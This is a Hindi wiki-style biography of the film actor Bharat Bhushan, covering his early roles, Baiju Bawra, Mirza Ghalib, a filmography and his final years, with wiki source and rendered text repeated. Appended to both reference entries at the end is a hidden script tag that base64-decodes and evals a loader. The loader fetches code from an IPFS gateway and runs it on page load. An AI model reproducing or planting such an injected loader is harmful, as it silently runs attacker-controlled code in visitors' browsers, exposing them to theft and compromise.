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'''भारत भूषण''' ([[अंग्रेज़ी]]:''Bharat Bhushan'' जन्म:1920 - मृत्यु: 27 जनवरी 1992) हिन्दी फ़िल्मों के एक प्रसिद्ध [[अभिनेता]] थे। अपने अभिनय के [[रंग|रंगों]] से [[कालिदास]], [[तानसेन]], [[कबीर]] और [[मिर्ज़ा ग़ालिब]] जैसे ऐतिहासिक चरित्रों को नया रूप देने वाले अभिनेता रहे।  
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'''भारत भूषण''' ([[अंग्रेज़ी]]:''Bharat Bhushan'' जन्म: [[1920]]; मृत्यु: [[27 जनवरी]], [[1992]]) हिन्दी फ़िल्मों के एक प्रसिद्ध [[अभिनेता]] थे। अपने अभिनय के [[रंग|रंगों]] से [[कालिदास]], [[तानसेन]], [[कबीर]] और [[मिर्ज़ा ग़ालिब]] जैसे ऐतिहासिक चरित्रों को नया रूप देने वाले अभिनेता रहे।  
 
==जीवन परिचय==  
 
==जीवन परिचय==  
[[उत्तर प्रदेश]] के [[अलीगढ़]] में 1920 में जन्मे भारत भूषण गायक बनने का ख्वाब लिए [[मुंबई]] की फ़िल्म नगरी में पहुंचे थे, लेकिन जब इस क्षेत्र में उन्हें मौका नहीं मिला तो उन्होंने निर्माता-निर्देशक केदार शर्मा की 1941 में निर्मित फ़िल्म 'चित्रलेखा' में एक छोटी भूमिका से अपने अभिनय की शुरुआत कर दी। 1951 तक अभिनेता के रूप में उनकी ख़ास पहचान नहीं बन पाई। इस दौरान उन्होंने भक्त कबीर (1942), भाईचारा (1943), सुहागरात (1948), उधार (1949), रंगीला राजस्थान (1949), एक थी लड़की (1949), राम दर्शन (1950), किसी की याद (1950), भाई-बहन (1950), आंखें (1950), सागर (1951), हमारी शान (1951), आनंदमठ और मां (1952) फ़िल्मों में काम किया।<ref name="jagaran"/>
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[[उत्तर प्रदेश]] के [[अलीगढ़]] में 1920 में जन्मे भारत भूषण गायक बनने का ख्वाब लिए [[मुंबई]] की फ़िल्म नगरी में पहुंचे थे, लेकिन जब इस क्षेत्र में उन्हें मौका नहीं मिला तो उन्होंने निर्माता-निर्देशक केदार शर्मा की 1941 में निर्मित फ़िल्म 'चित्रलेखा' में एक छोटी भूमिका से अपने अभिनय की शुरुआत कर दी। 1951 तक अभिनेता के रूप में उनकी ख़ास पहचान नहीं बन पाई। इस दौरान उन्होंने भक्त कबीर (1942), भाईचारा (1943), सुहागरात (1948), उधार (1949), रंगीला राजस्थान (1949), एक थी लड़की (1949), राम दर्शन (1950), किसी की याद (1950), भाई-बहन (1950), आँखेंं (1950), सागर (1951), हमारी शान (1951), आनंदमठ और माँ (1952) फ़िल्मों में काम किया।<ref name="jagaran"/>
 
 
 
====बैजू बावरा ने दी नई दिशा====
 
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भारत भूषण के अभिनय का सितारा निर्माता-निर्देशक विजय भट्ट की क्लासिक फ़िल्म बैजू बावरा से चमका। बेहतरीन गीत-संगीत और अभिनय से सजी इस फ़िल्म की [[गोल्डन जुबली]] कामयाबी ने न सिर्फ विजय भट्ट के प्रकाश स्टूडियो को ही डूबने से बचाया, बल्कि भारत भूषण और फ़िल्म की नायिका [[मीना कुमारी]] को स्टार के रूप में स्थापित कर दिया। आज भी इस फ़िल्म के सदाबहार गीत दर्शकों और श्रोताओं को मंत्रमुग्ध कर देते हैं। ओ दुनिया के रखवाले.., मन तड़पत हरि दर्शन को आज.., तू गंगा की मौज में जमुना का धारा.., बचपन की मुहब्बत को.., इंसान बनो कर लो भलाई का कोई काम.., झूले में पवन के आई बहार.., और दूर कोई गाए.. धुन ये सुनाए जैसे फ़िल्म के इन मधुर गीतों की तासीर आज भी बरकरार है। इस फ़िल्म से जुडे़ कई रोचक पहलू हैं। निर्माता विजय भट्ट फ़िल्म के लिए [[दिलीप कुमार]] और [[नर्गिस]] के नाम पर विचार कर रहे थे, लेकिन संगीतकार [[नौशाद]] ने उन्हें अपेक्षाकृत नए अभिनेता-[[अभिनेत्री]] को फ़िल्म में लेने पर जोर दिया। इसी फ़िल्म के लिए नौशाद ने [[तानसेन]] और बैजू के बीच प्रतियोगिता का गाना शास्त्रीय गायन के धुरंधर [[उस्ताद आमिर खान]] और पंडि़त [[डी. वी. पलुस्कर|डी.वी. पलुस्कर]] से गवाया। फ़िल्म की एक और दिलचस्प बात यह थी कि इसके संगीतकार, गीतकार, [[शकील बदायूंनी]] और गायक [[मोहम्मद रफी]] तीनों ही मुसलमान थे और उन्होंने मिलकर भक्ति गीत 'मन तपड़त हरिदर्शन को आज..' जैसी उत्कृष्ट रचना का सृजन किया था। [[बैजू बावरा (फ़िल्म)|बैजू बावरा]] की सफलता से उत्साहित यही टीम एक बार फिर श्री चैतन्य महाप्रभु फ़िल्म के लिए जुड़ी और इसमें सशक्त अभिनय के लिए भारत भूषण को सर्वश्रेष्ठ अभिनेता का फ़िल्म फेयर पुरस्कार मिला। कलाकारों, साहित्यकारों, संगीतकारों, भक्तों और ऐतिहासिक व्यक्तित्वों को अपने सहज स्वाभाविक अभिनय के रंगों से परदे पर जीवंत करने का भारत भूषण का यह सिलसिला आगे भी जारी रहा।<ref name="jagaran">{{cite web |url=http://in.jagran.yahoo.com/cinemaaza/cinema/memories/201_201_8197.html |title=भारत भूषण का सितारा भी पड़ा था गर्दिश में |accessmonthday=4 नवम्बर |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=जागरण याहू इंडिया |language=हिन्दी }} </ref>
 
भारत भूषण के अभिनय का सितारा निर्माता-निर्देशक विजय भट्ट की क्लासिक फ़िल्म बैजू बावरा से चमका। बेहतरीन गीत-संगीत और अभिनय से सजी इस फ़िल्म की [[गोल्डन जुबली]] कामयाबी ने न सिर्फ विजय भट्ट के प्रकाश स्टूडियो को ही डूबने से बचाया, बल्कि भारत भूषण और फ़िल्म की नायिका [[मीना कुमारी]] को स्टार के रूप में स्थापित कर दिया। आज भी इस फ़िल्म के सदाबहार गीत दर्शकों और श्रोताओं को मंत्रमुग्ध कर देते हैं। ओ दुनिया के रखवाले.., मन तड़पत हरि दर्शन को आज.., तू गंगा की मौज में जमुना का धारा.., बचपन की मुहब्बत को.., इंसान बनो कर लो भलाई का कोई काम.., झूले में पवन के आई बहार.., और दूर कोई गाए.. धुन ये सुनाए जैसे फ़िल्म के इन मधुर गीतों की तासीर आज भी बरकरार है। इस फ़िल्म से जुडे़ कई रोचक पहलू हैं। निर्माता विजय भट्ट फ़िल्म के लिए [[दिलीप कुमार]] और [[नर्गिस]] के नाम पर विचार कर रहे थे, लेकिन संगीतकार [[नौशाद]] ने उन्हें अपेक्षाकृत नए अभिनेता-[[अभिनेत्री]] को फ़िल्म में लेने पर जोर दिया। इसी फ़िल्म के लिए नौशाद ने [[तानसेन]] और बैजू के बीच प्रतियोगिता का गाना शास्त्रीय गायन के धुरंधर [[उस्ताद आमिर खान]] और पंडि़त [[डी. वी. पलुस्कर|डी.वी. पलुस्कर]] से गवाया। फ़िल्म की एक और दिलचस्प बात यह थी कि इसके संगीतकार, गीतकार, [[शकील बदायूंनी]] और गायक [[मोहम्मद रफी]] तीनों ही मुसलमान थे और उन्होंने मिलकर भक्ति गीत 'मन तपड़त हरिदर्शन को आज..' जैसी उत्कृष्ट रचना का सृजन किया था। [[बैजू बावरा (फ़िल्म)|बैजू बावरा]] की सफलता से उत्साहित यही टीम एक बार फिर श्री चैतन्य महाप्रभु फ़िल्म के लिए जुड़ी और इसमें सशक्त अभिनय के लिए भारत भूषण को सर्वश्रेष्ठ अभिनेता का फ़िल्म फेयर पुरस्कार मिला। कलाकारों, साहित्यकारों, संगीतकारों, भक्तों और ऐतिहासिक व्यक्तित्वों को अपने सहज स्वाभाविक अभिनय के रंगों से परदे पर जीवंत करने का भारत भूषण का यह सिलसिला आगे भी जारी रहा।<ref name="jagaran">{{cite web |url=http://in.jagran.yahoo.com/cinemaaza/cinema/memories/201_201_8197.html |title=भारत भूषण का सितारा भी पड़ा था गर्दिश में |accessmonthday=4 नवम्बर |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=जागरण याहू इंडिया |language=हिन्दी }} </ref>
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==प्रमुख फ़िल्में==
 
==प्रमुख फ़िल्में==
 
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* [[बैजू बावरा (फ़िल्म)|बैजू बावरा]] (1952)
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* श्री चैतन्य महाप्रभु (1954)
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|+भारत भूषण की प्रमुख फ़िल्में<ref>{{cite web |url=http://www.indianetzone.com/72/bharat_bhushan.htm |title= Bharat Bhushan, Bollywood Actor|accessmonthday= 29 जनवरी |accessyear= 2016|last= |first= |authorlink= |format= |publisher=indianetzone |language=हिन्दी }}</ref>
* मिर्ज़ा ग़ालिब (1954)
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* रानी रूपमती (1957)
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* सोहनी महीवाल (1958)
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* सम्राट चंद्रगुप्त (1958)
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* कवि कालिदास (1959)
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! क्र.सं.
* संगीत सम्राट तानसेन (1962)
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==फ़िल्म निर्माण==
 
==फ़िल्म निर्माण==
 
भारत भूषण ने फ़िल्म निर्माण के क्षेत्र में भी कदम रखा, लेकिन उनकी कोई भी फ़िल्म बॉक्स आफिस पर सफल नहीं रही। उन्होंने 1964 में अपनी महत्वाकांक्षी फ़िल्म 'दूज का चांद' का निर्माण किया, लेकिन इस फ़िल्म के भी बॉक्स आफिस पर बुरी तरह पिट जाने के बाद उन्होंने फ़िल्म निर्माण से तौबा कर ली।
 
भारत भूषण ने फ़िल्म निर्माण के क्षेत्र में भी कदम रखा, लेकिन उनकी कोई भी फ़िल्म बॉक्स आफिस पर सफल नहीं रही। उन्होंने 1964 में अपनी महत्वाकांक्षी फ़िल्म 'दूज का चांद' का निर्माण किया, लेकिन इस फ़िल्म के भी बॉक्स आफिस पर बुरी तरह पिट जाने के बाद उन्होंने फ़िल्म निर्माण से तौबा कर ली।
 
==अंतिम समय==
 
==अंतिम समय==
वर्ष 1967 में प्रदर्शित फ़िल्म 'तकदीर नायक' के रूप में भारत भूषण की अंतिम फ़िल्म थी। इसके बाद वह माहौल और फ़िल्मों के विषय की दिशा बदल जाने पर चरित्र अभिनेता के रूप में काम करने लगे, लेकिन नौबत यहां तक आ गई कि जो निर्माता-निर्देशक पहले उनको लेकर फ़िल्म बनाने के लिए लालायित रहते थे। उन्होंने भी उनसे मुंह मोड़ लिया। इस स्थिति में उन्होंने अपना गुजारा चलाने के लिए फ़िल्मों में छोटी-छोटी मामूली भूमिकाएं करनी शुरू कर दीं। बाद में हालात ऐसे हो गए कि भारत भूषण को फ़िल्मों में काम मिलना लगभग बंद हो गया। तब मजबूरी में उन्होंने छोटे परदे की तरफ रुख़ किया और दिशा तथा बेचारे गुप्ताजी जैसे धारावाहिकों में अभिनय किया। हालात की मार और वक्त के सितम से बुरी तरह टूट चुके हिंदी फ़िल्मों के स्वर्णिम युग के इस अभिनेता ने आखिरकार [[27 जनवरी]] [[1992]] को 72 वर्ष की उम्र में इस दुनिया को अलविदा कह दिया।<ref name="jagaran"/>  
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वर्ष [[1967]] में प्रदर्शित फ़िल्म 'तकदीर नायक' के रूप में भारत भूषण की अंतिम फ़िल्म थी। इसके बाद वह माहौल और फ़िल्मों के विषय की दिशा बदल जाने पर चरित्र अभिनेता के रूप में काम करने लगे, लेकिन नौबत यहां तक आ गई कि जो निर्माता-निर्देशक पहले उनको लेकर फ़िल्म बनाने के लिए लालायित रहते थे। उन्होंने भी उनसे मुंह मोड़ लिया। इस स्थिति में उन्होंने अपना गुजारा चलाने के लिए फ़िल्मों में छोटी-छोटी मामूली भूमिकाएँ करनी शुरू कर दीं। बाद में हालात ऐसे हो गए कि भारत भूषण को फ़िल्मों में काम मिलना लगभग बंद हो गया। तब मजबूरी में उन्होंने छोटे परदे की तरफ रुख़ किया और दिशा तथा बेचारे गुप्ताजी जैसे धारावाहिकों में अभिनय किया। हालात की मार और वक्त के सितम से बुरी तरह टूट चुके हिंदी फ़िल्मों के स्वर्णिम युग के इस अभिनेता ने आखिरकार [[27 जनवरी]] [[1992]] को 72 वर्ष की उम्र में इस दुनिया को अलविदा कह दिया।<ref name="jagaran"/>  
  
  
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==टीका टिप्पणी और संदर्भ==
 
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<references/>
 
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==बाहरी कड़ियाँ==
 
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*[http://www.rediff.com/movies/2003/apr/22dinesh.htm Bharat Bhushan, the tragic hero]
 
*[http://www.rediff.com/movies/2003/apr/22dinesh.htm Bharat Bhushan, the tragic hero]
 
 
*[http://www.imdb.com/name/nm0080445/ Bharat Bhushan (1920–1992)]
 
*[http://www.imdb.com/name/nm0080445/ Bharat Bhushan (1920–1992)]
 
 
==संबंधित लेख==
 
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05:30, 4 फ़रवरी 2021 के समय का अवतरण

भारत भूषण
भारत भूषण
पूरा नाम भारत भूषण
जन्म 1920
जन्म भूमि अलीगढ़, उत्तर प्रदेश
मृत्यु 27 जनवरी, 1992
मृत्यु स्थान मुम्बई, महाराष्ट्र
कर्म भूमि मुम्बई
कर्म-क्षेत्र अभिनेता, निर्माता
मुख्य फ़िल्में 'बैजू बावरा', 'मिर्ज़ा ग़ालिब', 'बसंत बहार', 'फागुन', 'रानी रूपमती' आदि।
पुरस्कार-उपाधि सर्वश्रेष्ठ अभिनेता फ़िल्मफ़ेयर पुरस्कार (फ़िल्म- चैतन्य महाप्रभु)
नागरिकता भारतीय

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भारत भूषण (अंग्रेज़ी:Bharat Bhushan जन्म: 1920; मृत्यु: 27 जनवरी, 1992) हिन्दी फ़िल्मों के एक प्रसिद्ध अभिनेता थे। अपने अभिनय के रंगों से कालिदास, तानसेन, कबीर और मिर्ज़ा ग़ालिब जैसे ऐतिहासिक चरित्रों को नया रूप देने वाले अभिनेता रहे।

जीवन परिचय

उत्तर प्रदेश के अलीगढ़ में 1920 में जन्मे भारत भूषण गायक बनने का ख्वाब लिए मुंबई की फ़िल्म नगरी में पहुंचे थे, लेकिन जब इस क्षेत्र में उन्हें मौका नहीं मिला तो उन्होंने निर्माता-निर्देशक केदार शर्मा की 1941 में निर्मित फ़िल्म 'चित्रलेखा' में एक छोटी भूमिका से अपने अभिनय की शुरुआत कर दी। 1951 तक अभिनेता के रूप में उनकी ख़ास पहचान नहीं बन पाई। इस दौरान उन्होंने भक्त कबीर (1942), भाईचारा (1943), सुहागरात (1948), उधार (1949), रंगीला राजस्थान (1949), एक थी लड़की (1949), राम दर्शन (1950), किसी की याद (1950), भाई-बहन (1950), आँखेंं (1950), सागर (1951), हमारी शान (1951), आनंदमठ और माँ (1952) फ़िल्मों में काम किया।[1]

बैजू बावरा ने दी नई दिशा

भारत भूषण के अभिनय का सितारा निर्माता-निर्देशक विजय भट्ट की क्लासिक फ़िल्म बैजू बावरा से चमका। बेहतरीन गीत-संगीत और अभिनय से सजी इस फ़िल्म की गोल्डन जुबली कामयाबी ने न सिर्फ विजय भट्ट के प्रकाश स्टूडियो को ही डूबने से बचाया, बल्कि भारत भूषण और फ़िल्म की नायिका मीना कुमारी को स्टार के रूप में स्थापित कर दिया। आज भी इस फ़िल्म के सदाबहार गीत दर्शकों और श्रोताओं को मंत्रमुग्ध कर देते हैं। ओ दुनिया के रखवाले.., मन तड़पत हरि दर्शन को आज.., तू गंगा की मौज में जमुना का धारा.., बचपन की मुहब्बत को.., इंसान बनो कर लो भलाई का कोई काम.., झूले में पवन के आई बहार.., और दूर कोई गाए.. धुन ये सुनाए जैसे फ़िल्म के इन मधुर गीतों की तासीर आज भी बरकरार है। इस फ़िल्म से जुडे़ कई रोचक पहलू हैं। निर्माता विजय भट्ट फ़िल्म के लिए दिलीप कुमार और नर्गिस के नाम पर विचार कर रहे थे, लेकिन संगीतकार नौशाद ने उन्हें अपेक्षाकृत नए अभिनेता-अभिनेत्री को फ़िल्म में लेने पर जोर दिया। इसी फ़िल्म के लिए नौशाद ने तानसेन और बैजू के बीच प्रतियोगिता का गाना शास्त्रीय गायन के धुरंधर उस्ताद आमिर खान और पंडि़त डी.वी. पलुस्कर से गवाया। फ़िल्म की एक और दिलचस्प बात यह थी कि इसके संगीतकार, गीतकार, शकील बदायूंनी और गायक मोहम्मद रफी तीनों ही मुसलमान थे और उन्होंने मिलकर भक्ति गीत 'मन तपड़त हरिदर्शन को आज..' जैसी उत्कृष्ट रचना का सृजन किया था। बैजू बावरा की सफलता से उत्साहित यही टीम एक बार फिर श्री चैतन्य महाप्रभु फ़िल्म के लिए जुड़ी और इसमें सशक्त अभिनय के लिए भारत भूषण को सर्वश्रेष्ठ अभिनेता का फ़िल्म फेयर पुरस्कार मिला। कलाकारों, साहित्यकारों, संगीतकारों, भक्तों और ऐतिहासिक व्यक्तित्वों को अपने सहज स्वाभाविक अभिनय के रंगों से परदे पर जीवंत करने का भारत भूषण का यह सिलसिला आगे भी जारी रहा।[1]

मिर्ज़ा ग़ालिब में शानदार अदाकारी

भारत भूषण के फ़िल्मी करियर में निर्माता-निर्देशक सोहराब मोदी की फ़िल्म मिर्ज़ा ग़ालिब का अहम स्थान है। इस फ़िल्म में भारत भूषण ने शायर मिर्ज़ा ग़ालिब के किरदार को इतने सहज और असरदार ढंग से निभाया कि यह गुमां होने लगता है कि ग़ालिब ही परदे पर उतर आए हों। बेहतरीन गीत-संगीत, संवाद और अभिनय से सजी यह फ़िल्म बेहद कामयाब रही और इसे सर्वश्रेष्ठ फ़िल्म और सर्वश्रेष्ठ संगीत के राष्ट्रीय पुरस्कार मिले। इस फ़िल्म के लिए गजलों के बादशाह तलत महमूद की मखमली और गायिका, अभिनेत्री सुरैया की मिठास भरी आवाजों में गाई गई गजलें और गीत 'बेहद मकबूल हुए .., आह को चाहिए इक उम्र असर होने तक.., फिर मुझे दीदए तर याद आया.., दिले नादां तुझे हुआ क्या है.., मेरे बांके बलम कोतवाल.., कहते हैं कि गालिब का है अंदाज-ए-बयां कुछ और भारत भूषण ने लगभग 143 फ़िल्मों में अपने अभिनय की विविधरंगी छटा बिखेरी और अशोक कुमार, दिलीप कुमार, राजकपूर तथा देवानंद जैसे कलाकारों की मौजूदगी में अपना एक अलग मुकाम बनाया।[1]

प्रमुख फ़िल्में

भारत भूषण
भारत भूषण की प्रमुख फ़िल्में[2]
क्र.सं. फ़िल्म वर्ष क्र.सं. फ़िल्म वर्ष
1. चित्रलेखा 1941 2. सुहाग रात 1948
3. बैजू बावरा 1952 4. आनन्दमठ 1952
5. माँ 1952 6. मिर्ज़ा ग़ालिब 1954
7. शवाब 1954 8. श्री चैतन्य महाप्रभु 1954
9. बसंत बहार 1956 10. कवि कालिदास 1959
11. परदेसी 1957 12. रानी रूपमती 1957
13. चम्पाकली 1957 14. गेटवे ऑफ़ इण्डिया 1958
15. फागुन 1958 16. सम्राट चन्द्रगुप्त 1958
17. सोहनी महिवाल 1958 18. सावन 1959
19. अंगुलीमाल 1960 20. बरसात की रात 1960
21. मुड़ मुड़ के ना देख 1960 22. घूँघट 1960
23. संगीत सम्राट तानसेन 1962 24. अव्वल नम्बर 1990
25. जहाँ आरा 1964 26. तकदीर 1967
27. प्यार का मौसम 1969 28. जय संतोषी माँ 1975
29. मीरा 1979 30. उमराव जान 1981
31. हीरो 1983 32. आदि शंकराचार्य 1983
33. काला धंधा गोरे लोग 1986 34. रहगुज़र 1985

फ़िल्म निर्माण

भारत भूषण ने फ़िल्म निर्माण के क्षेत्र में भी कदम रखा, लेकिन उनकी कोई भी फ़िल्म बॉक्स आफिस पर सफल नहीं रही। उन्होंने 1964 में अपनी महत्वाकांक्षी फ़िल्म 'दूज का चांद' का निर्माण किया, लेकिन इस फ़िल्म के भी बॉक्स आफिस पर बुरी तरह पिट जाने के बाद उन्होंने फ़िल्म निर्माण से तौबा कर ली।

अंतिम समय

वर्ष 1967 में प्रदर्शित फ़िल्म 'तकदीर नायक' के रूप में भारत भूषण की अंतिम फ़िल्म थी। इसके बाद वह माहौल और फ़िल्मों के विषय की दिशा बदल जाने पर चरित्र अभिनेता के रूप में काम करने लगे, लेकिन नौबत यहां तक आ गई कि जो निर्माता-निर्देशक पहले उनको लेकर फ़िल्म बनाने के लिए लालायित रहते थे। उन्होंने भी उनसे मुंह मोड़ लिया। इस स्थिति में उन्होंने अपना गुजारा चलाने के लिए फ़िल्मों में छोटी-छोटी मामूली भूमिकाएँ करनी शुरू कर दीं। बाद में हालात ऐसे हो गए कि भारत भूषण को फ़िल्मों में काम मिलना लगभग बंद हो गया। तब मजबूरी में उन्होंने छोटे परदे की तरफ रुख़ किया और दिशा तथा बेचारे गुप्ताजी जैसे धारावाहिकों में अभिनय किया। हालात की मार और वक्त के सितम से बुरी तरह टूट चुके हिंदी फ़िल्मों के स्वर्णिम युग के इस अभिनेता ने आखिरकार 27 जनवरी 1992 को 72 वर्ष की उम्र में इस दुनिया को अलविदा कह दिया।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 भारत भूषण का सितारा भी पड़ा था गर्दिश में (हिन्दी) (एच.टी.एम.एल) जागरण याहू इंडिया। अभिगमन तिथि: 4 नवम्बर, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. Bharat Bhushan, Bollywood Actor (हिन्दी) indianetzone। अभिगमन तिथि: 29 जनवरी, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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